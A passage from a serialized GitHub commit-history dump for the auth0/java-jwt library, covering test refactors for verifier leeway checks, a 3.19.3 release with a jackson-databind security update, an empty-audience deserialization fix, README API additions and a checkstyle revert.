-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptExpiresAt(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 9999L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptNotBefore(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 9999L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -860,16 +825,16 @@ public void shouldRemoveClaimWhenPassingNull() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -879,30 +844,31 @@ public void shouldRemoveIssuerWhenPassingNullReference() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer(emptyIss)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iss", Collections.singletonList(emptyIss)));
+        verifier.verify(JWT.create().withIssuer(emptyIss).sign(Algorithm.HMAC256("secret")));
+
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Testueu(04634759be4ffdcddc9bd384fa0ea7ea03d806c1}(sha(04634759be4ffdcddc9bd384fa0ea7ea03d806c1node_idEC_kwDOAQtL0doAKDA0NjM0NzU5YmU0ZmZkY2RkYzliZDM4NGZhMGVhN2VhMDNkODA2YzEcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T02:00:42Zu	committer}(jm  Jim Andersonjm  jimranderson@gmail.comjm  2022-10-25T02:41:42ZumessageRelease 3.19.3tree}(jm  (6b1717f08ae1a174d2d19bb09b9a260989dc041eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/6b1717f08ae1a174d2d19bb09b9a260989dc041eujm  `https://api.github.com/repos/auth0/java-jwt/git/commits/04634759be4ffdcddc9bd384fa0ea7ea03d806c1
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujm  \https://api.github.com/repos/auth0/java-jwt/commits/04634759be4ffdcddc9bd384fa0ea7ea03d806c1html_urlQhttps://github.com/auth0/java-jwt/commit/04634759be4ffdcddc9bd384fa0ea7ea03d806c1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/commentsjm  }(login
jimmyjamesidJ7 jm  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jm  'https://api.github.com/users/jimmyjamesjm  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos      
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujm  }(jm  
jimmyjamesjm  J7 jm  MDQ6VXNlcjI3NjIyNQ==jm  2https://avatars.githubusercontent.com/u/276225?v=4jm  h3jm  'https://api.github.com/users/jimmyjamesjm  https://github.com/jimmyjamesjm  1https://api.github.com/users/jimmyjames/followersjm  >https://api.github.com/users/jimmyjames/following{/other_user}jm  7https://api.github.com/users/jimmyjames/gists{/gist_id}jm  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jm  5https://api.github.com/users/jimmyjames/subscriptionsjm  ,https://api.github.com/users/jimmyjames/orgsjm  -https://api.github.com/users/jimmyjames/reposjm  8https://api.github.com/users/jimmyjames/events{/privacy}jm  7https://api.github.com/users/jimmyjames/received_eventsjm  Userjn  uparents]}(jm  (5287edf769ebbf67e092100a018378d563111c59jm  \https://api.github.com/repos/auth0/java-jwt/commits/5287edf769ebbf67e092100a018378d563111c59jm  Qhttps://github.com/auth0/java-jwt/commit/5287edf769ebbf67e092100a018378d563111c59uastats}(totalK	additionsK		deletionsKufiles](}(jm  (33b0d4077ed5c77398880a3a4ab2a1087cee6286filenameCHANGELOG.mdstatusmodifiedjn  Kjn  K changesKblob_url\https://github.com/auth0/java-jwt/blob/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=04634759be4ffdcddc9bd384fa0ea7ea03d806c1patchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.3](https://github.com/auth0/java-jwt/tree/3.19.3) (2022-10-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...3.19.3)
+
+**Security**
+- Update com.fasterxml.jackson.core:jackson-databind to 2.13.4.2 [\#631](https://github.com/auth0/java-jwt/pull/631) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
 u}(jm  (ac400231674e5c9d54ddbe192026ce8f6c20ddd0j!n  	README.mdj#n  modifiedjn  Kjn  Kj%n  Kj&n  Yhttps://github.com/auth0/java-jwt/blob/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/README.mdj(n  Xhttps://github.com/auth0/java-jwt/raw/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/README.mdj*n  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=04634759be4ffdcddc9bd384fa0ea7ea03d806c1j,n  X  @@ -25,14 +25,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.2</version>
+    <version>3.19.3</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.2'
+implementation 'com.auth0:java-jwt:3.19.3'
 ```
 
 ## Available Algorithmsu}(jm  (4fc9d90578ac1311cdee1c401e2c5343fd9816b3j!n  lib/build.gradlej#n  modifiedjn  Kjn  Kj%n  Kj&n  bhttps://github.com/auth0/java-jwt/blob/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/lib%2Fbuild.gradlej(n  ahttps://github.com/auth0/java-jwt/raw/04634759be4ffdcddc9bd384fa0ea7ea03d806c1/lib%2Fbuild.gradlej*n  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=04634759be4ffdcddc9bd384fa0ea7ea03d806c1j,n  `@@ -1,6 +1,6 @@
 
 buildscript {
-    version = "3.19.2"
+    version = "3.19.3"
 }
 
 plugins {ueu(0a015cc7ffc90c59395141b670970ca4a0009cdd}(sha(0a015cc7ffc90c59395141b670970ca4a0009cddnode_idEC_kwDOAQtL0doAKDBhMDE1Y2M3ZmZjOTBjNTkzOTUxNDFiNjcwOTcwY2E0YTAwMDljZGQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-06-01T01:32:37Zu	committer}(jHn  Jim AndersonjJn  jimranderson@gmail.comjLn  2023-06-01T01:32:37ZumessageBEmpty string audience claim should be deserialized as empty stringtree}(j@n  (df39552d0064d6bb994623f59e95856f33bbeaceurl^https://api.github.com/repos/auth0/java-jwt/git/trees/df39552d0064d6bb994623f59e95856f33bbeaceujXn  `https://api.github.com/repos/auth0/java-jwt/git/commits/0a015cc7ffc90c59395141b670970ca4a0009cdd
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujXn  \https://api.github.com/repos/auth0/java-jwt/commits/0a015cc7ffc90c59395141b670970ca4a0009cddhtml_urlQhttps://github.com/auth0/java-jwt/commit/0a015cc7ffc90c59395141b670970ca4a0009cddcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0a015cc7ffc90c59395141b670970ca4a0009cdd/commentsjFn  }(login
jimmyjamesidJ7 jBn  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jXn  'https://api.github.com/users/jimmyjamesjdn  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujNn  }(jin  
jimmyjamesjkn  J7 jBn  MDQ6VXNlcjI3NjIyNQ==jmn  2https://avatars.githubusercontent.com/u/276225?v=4jon  h3jXn  'https://api.github.com/users/jimmyjamesjdn  https://github.com/jimmyjamesjrn  1https://api.github.com/users/jimmyjames/followersjtn  >https://api.github.com/users/jimmyjames/following{/other_user}jvn  7https://api.github.com/users/jimmyjames/gists{/gist_id}jxn  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jzn  5https://api.github.com/users/jimmyjames/subscriptionsj|n  ,https://api.github.com/users/jimmyjames/orgsj~n  -https://api.github.com/users/jimmyjames/reposjn  8https://api.github.com/users/jimmyjames/events{/privacy}jn  7https://api.github.com/users/jimmyjames/received_eventsjn  Userjn  uparents]}(j@n  (923e9c46db888c500ff44032fa900b871fae30edjXn  \https://api.github.com/repos/auth0/java-jwt/commits/923e9c46db888c500ff44032fa900b871fae30edjdn  Qhttps://github.com/auth0/java-jwt/commit/923e9c46db888c500ff44032fa900b871fae30eduastats}(totalK	additionsK	deletionsKufiles](}(j@n  (b1d32a12391eb81c3c7aeb00bc9a1215d23ac32afilename=lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javastatusmodifiedjn  Kjn  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/0a015cc7ffc90c59395141b670970ca4a0009cdd/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0a015cc7ffc90c59395141b670970ca4a0009cdd/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=0a015cc7ffc90c59395141b670970ca4a0009cddpatchX  @@ -54,7 +54,7 @@ List<String> getStringOrArray(ObjectCodec codec, Map<String, JsonNode> tree, Str
         if (node == null || node.isNull() || !(node.isArray() || node.isTextual())) {
             return null;
         }
-        if (node.isTextual() && !node.asText().isEmpty()) {
+        if (node.isTextual()) {
             return Collections.singletonList(node.asText());
         }
 u}(j@n  (c3e04013ef583271916ebe71c8b73f0328751ed4jn  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javajn  modifiedjn  Kjn  Kjn  Kjn  https://github.com/auth0/java-jwt/blob/0a015cc7ffc90c59395141b670970ca4a0009cdd/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javajn  https://github.com/auth0/java-jwt/raw/0a015cc7ffc90c59395141b670970ca4a0009cdd/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javajn  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=0a015cc7ffc90c59395141b670970ca4a0009cddjn  X  @@ -145,14 +145,14 @@ public void shouldGetStringArrayWhenParsingTextNode() {
     }
 
     @Test
-    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() {
+    public void shouldGetEmptyStringInArrayWhenParsingEmptyTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("");
         tree.put("key", textNode);
 
         List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(notNullValue()));
-        assertThat(values, is(IsEmptyCollection.empty()));
+        assertThat(values, is(IsIterableContaining.hasItem("")));
     }
 
     @Testueu(c1942944b3b906d749128279808ad86cd24b8b9f}(sha(c1942944b3b906d749128279808ad86cd24b8b9fnode_idEC_kwDOAQtL0doAKGMxOTQyOTQ0YjNiOTA2ZDc0OTEyODI3OTgwOGFkODZjZDI0YjhiOWYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-12T13:25:31Zu	committer}(jn  
Poovamraj T Tjn  poovamraj@gmail.comjn  2022-04-12T13:25:31Zumessage$Add README instructions for new APIstree}(jn  (cef7f91a66e59729990796d4d90fb776e40a77dcurl^https://api.github.com/repos/auth0/java-jwt/git/trees/cef7f91a66e59729990796d4d90fb776e40a77dcujn  `https://api.github.com/repos/auth0/java-jwt/git/commits/c1942944b3b906d749128279808ad86cd24b8b9f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujn  \https://api.github.com/repos/auth0/java-jwt/commits/c1942944b3b906d749128279808ad86cd24b8b9fhtml_urlQhttps://github.com/auth0/java-jwt/commit/c1942944b3b906d749128279808ad86cd24b8b9fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c1942944b3b906d749128279808ad86cd24b8b9f/commentsjn  }(login	poovamrajidJ jn  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jn  &https://api.github.com/users/poovamrajjn  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujn  }(jn  	poovamrajjn  J jn  MDQ6VXNlcjE1OTEwNDI1jn  4https://avatars.githubusercontent.com/u/15910425?v=4jn  h3jn  &https://api.github.com/users/poovamrajjn  https://github.com/poovamrajjn  0https://api.github.com/users/poovamraj/followersjn  =https://api.github.com/users/poovamraj/following{/other_user}jn  6https://api.github.com/users/poovamraj/gists{/gist_id}jn  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jn  4https://api.github.com/users/poovamraj/subscriptionsjn  +https://api.github.com/users/poovamraj/orgsjn  ,https://api.github.com/users/poovamraj/reposjn  7https://api.github.com/users/poovamraj/events{/privacy}jn  6https://api.github.com/users/poovamraj/received_eventsjo  Userjo  uparents]}(jn  (ed58ef33d1ed800b84678acee2cab172684198d1jn  \https://api.github.com/repos/auth0/java-jwt/commits/ed58ef33d1ed800b84678acee2cab172684198d1jn  Qhttps://github.com/auth0/java-jwt/commit/ed58ef33d1ed800b84678acee2cab172684198d1uastats}(totalK
	additionsK	deletionsKufiles]}(jn  (065899f1726a2871c8343db746f7730f01dd3f78filename	README.mdstatusmodifiedjo  Kjo  KchangesK
blob_urlYhttps://github.com/auth0/java-jwt/blob/c1942944b3b906d749128279808ad86cd24b8b9f/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/c1942944b3b906d749128279808ad86cd24b8b9f/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=c1942944b3b906d749128279808ad86cd24b8b9fpatchX  @@ -179,7 +179,6 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
-//todo need to be updated
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
 
 - `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
@@ -388,6 +387,7 @@ When creating a Token with the `JWT.create()` you can specify a custom Claim by
 String token = JWT.create()
         .withClaim("name", 123)
         .withArrayClaim("array", new Integer[]{1, 2, 3})
+        .withNullClaim("claim_name")
         .sign(algorithm);
 ```
 
@@ -407,6 +407,9 @@ You can also verify custom Claims on the `JWT.require()` by calling `withClaim()
 JWTVerifier verifier = JWT.require(algorithm)
     .withClaim("name", 123)
     .withArrayClaim("array", 1, 2, 3)
+    .withNullClaim("null_value") //checks if the claim name provided has null value
+    .withClaimPresence("claim_presence") //checks if the claim name provided is in the payload
+    .withClaim("predicate", (claim, decodedJWT) -> "custom_check".equals(claim.asString())) //can be used to run custom verification
     .build();
 DecodedJWT jwt = verifier.verify("my.jwt.token");
 ```
@@ -423,7 +426,10 @@ The Claim class is a wrapper for the Claim values. It allows you to get the Clai
 * **asDouble()**: Returns the Double value or null if it can't be converted.
 * **asLong()**: Returns the Long value or null if it can't be converted.
 * **asString()**: Returns the String value or null if it can't be converted.
-* **asDate()**: Returns the Date value or null if it can't be converted. This must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
+* **asInstant()**: Returns the Instant value or null if it can't be converted.
+* **asDate()**: Returns the Date value or null if it can't be converted.
+
+> For `asInstant()` and `asDate()` the value must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
 
 #### Custom Classes and Collections
 To obtain a Claim as a Collection you'll need to provide the **Class Type** of the contents to convert from.uau(2633a61e5985336dbc6fa8a930e4e4b55b683e74}(sha(2633a61e5985336dbc6fa8a930e4e4b55b683e74node_idEC_kwDOAQtL0doAKDI2MzNhNjFlNTk4NTMzNmRiYzZmYThhOTMwZTRlNGI1NWI2ODNlNzQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-23T18:47:37Zu	committer}(j:o  
Poovamraj T Tj<o  poovamraj@gmail.comj>o  2022-03-23T18:47:37ZumessageiRevert "Add rule to avoid println in code"

This reverts commit 367be43faa1a9db6f8437481eb417b910fa7b647.tree}(j2o  (093b2c7f69657d368f8eb155f487a0447edd674aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/093b2c7f69657d368f8eb155f487a0447edd674aujJo  `https://api.github.com/repos/auth0/java-jwt/git/commits/2633a61e5985336dbc6fa8a930e4e4b55b683e74
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujJo  \https://api.github.com/repos/auth0/java-jwt/commits/2633a61e5985336dbc6fa8a930e4e4b55b683e74html_urlQhttps://github.com/auth0/java-jwt/commit/2633a61e5985336dbc6fa8a930e4e4b55b683e74comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2633a61e5985336dbc6fa8a930e4e4b55b683e74/commentsj8o  }(login	poovamrajidJ j4o  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jJo  &https://api.github.com/users/poovamrajjVo  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj@o  }(j[o  	poovamrajj]o  J j4o  MDQ6VXNlcjE1OTEwNDI1j_o  4https://avatars.githubusercontent.com/u/15910425?v=4jao  h3jJo  &https://api.github.com/users/poovamrajjVo  https://github.com/poovamrajjdo  0https://api.github.com/users/poovamraj/followersjfo  =https://api.github.com/users/poovamraj/following{/other_user}jho  6https://api.github.com/users/poovamraj/gists{/gist_id}jjo  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jlo  4https://api.github.com/users/poovamraj/subscriptionsjno  +https://api.github.com/users/poovamraj/orgsjpo  ,https://api.github.com/users/poovamraj/reposjro  7https://api.github.com/users/poovamraj/events{/privacy}jto  6https://api.github.com/users/poovamraj/received_eventsjvo  Userjxo  uparents]}(j2o  (367be43faa1a9db6f8437481eb417b910fa7b647jJo  \https://api.github.com/repos/auth0/java-jwt/commits/367be43faa1a9db6f8437481eb417b910fa7b647jVo  Qhttps://github.com/auth0/java-jwt/commit/367be43faa1a9db6f8437481eb417b910fa7b647uastats}(totalK	additionsK 	deletionsKufiles]}(j2o  (16a3de39a45e43c2cef9ab8f8da2a32693423d09filename config/checkstyle/checkstyle.xmlstatusmodifiedjo  K jo  KchangesKblob_urlthttps://github.com/auth0/java-jwt/blob/2633a61e5985336dbc6fa8a930e4e4b55b683e74/config%2Fcheckstyle%2Fcheckstyle.xmlraw_urlshttps://github.com/auth0/java-jwt/raw/2633a61e5985336dbc6fa8a930e4e4b55b683e74/config%2Fcheckstyle%2Fcheckstyle.xmlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=2633a61e5985336dbc6fa8a930e4e4b55b683e74patchX  @@ -55,12 +55,6 @@
             <property name="message"
                       value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
         </module>
-        <module name="Regexp">
-            <!-- . matches any character, so we need to escape it and use \. to match dots. -->
-            <property name="format" value="System\.out\.println"/>
-            <property name="illegalPattern" value="true"/>
-            <property name="message" value="Use of System.out.println is not allowed"/>
-        </module>
         <module name="AvoidEscapedUnicodeCharacters">
             <property name="allowEscapesForControlCharacters" value="true"/>
             <property name="allowByTailComment" value="true"/>uau(e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc}(sha(e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcnode_idEC_kwDOAQtL0doAKGU4NWEwMGEwMDU0M2IyYjE3ZDA0NjBlOWMxYzExYzJhYTMxZmJjYmMcommit}(author}(nameRobin Karlssonemailsnago86@gmail.comdate2023-03-27T19:57:04Zu	committer}(jo  GitHubjo  noreply@github.comjo  2023-03-27T19:57:04ZumessageaPreserve insertion order for claims (#656)

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>tree}(jo  (4ea8cd6a3286171576cfaed10e2b3f1566ddd30durl^https://api.github.com/repos/auth0/java-jwt/git/trees/4ea8cd6a3286171576cfaed10e2b3f1566ddd30dujo  `https://api.github.com/repos/auth0/java-jwt/git/commits/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkIfUQCRBK7hj4Ov3rIwAAjkkIABq5MZOTOXmgBTGmp5nc64rR
RPL6vGQ0eRCLW6LGqQGe/5NtYua/vTI9A3W7ZMlnR4egutDXliA4cDqB8f21EVrA
Y64uUbobXXTZo6x4F7eYDqX/3yeZT6pANrPXAIX/IYpR0BvCcHoSDtvAPO65ewK1
QjPhd3kqNXbV0Tx9edrUIzRP3xNisZOiO6mEqKmOhJBR4QeADcrGIicJYsUR7hm7
OcVFc1WxX1kse1heRsCp1S6LcMpgN5edfRcwObD3+7lsnpIKLz7UcNjlkbUyPAhj
9yWA38mvhQ5GI6GFpO8Y/awd0wr9og+uQovji6Qor3AC67dtrHDtQg9ApiHBsKg=
=xjaP
-----END PGP SIGNATURE-----
payloadX2  tree 4ea8cd6a3286171576cfaed10e2b3f1566ddd30d
parent a18955bb99bf6994e424971db3f621bc0cc64a86
author Robin Karlsson <snago86@gmail.com> 1679947024 +0200
committer GitHub <noreply@github.com> 1679947024 -0500

Preserve insertion order for claims (#656)

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>uujo  \https://api.github.com/repos/auth0/java-jwt/commits/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbchtml_urlQhttps://github.com/auth0/java-jwt/commit/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc/commentsjo  }(loginsnagoidJρ jo  MDQ6VXNlcjU1NzUxOQ==
avatar_url2https://avatars.githubusercontent.com/u/557519?v=4gravatar_idh3jo  "https://api.github.com/users/snagojo  https://github.com/snago
followers_url,https://api.github.com/users/snago/followers
following_url9https://api.github.com/users/snago/following{/other_user}	gists_url2https://api.github.com/users/snago/gists{/gist_id}starred_url9https://api.github.com/users/snago/starred{/owner}{/repo}subscriptions_url0https://api.github.com/users/snago/subscriptionsorganizations_url'https://api.github.com/users/snago/orgs	repos_url(https://api.github.com/users/snago/repos
events_url3https://api.github.com/users/snago/events{/privacy}received_events_url2https://api.github.com/users/snago/received_eventstypeUser
site_adminujo  }(jo  web-flowjo  J/jo  MDQ6VXNlcjE5ODY0NDQ3jo  4https://avatars.githubusercontent.com/u/19864447?v=4jo  h3jo  %https://api.github.com/users/web-flowjo  https://github.com/web-flowjo  /https://api.github.com/users/web-flow/followersjo  <https://api.github.com/users/web-flow/following{/other_user}jo  5https://api.github.com/users/web-flow/gists{/gist_id}jo  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jo  3https://api.github.com/users/web-flow/subscriptionsjo  *https://api.github.com/users/web-flow/orgsjo  +https://api.github.com/users/web-flow/reposjo  6https://api.github.com/users/web-flow/events{/privacy}jo  5https://api.github.com/users/web-flow/received_eventsjo  Userjo  uparents]}(jo  (a18955bb99bf6994e424971db3f621bc0cc64a86jo  \https://api.github.com/repos/auth0/java-jwt/commits/a18955bb99bf6994e424971db3f621bc0cc64a86jo  Qhttps://github.com/auth0/java-jwt/commit/a18955bb99bf6994e424971db3f621bc0cc64a86uastats}(totalK9	additionsK4	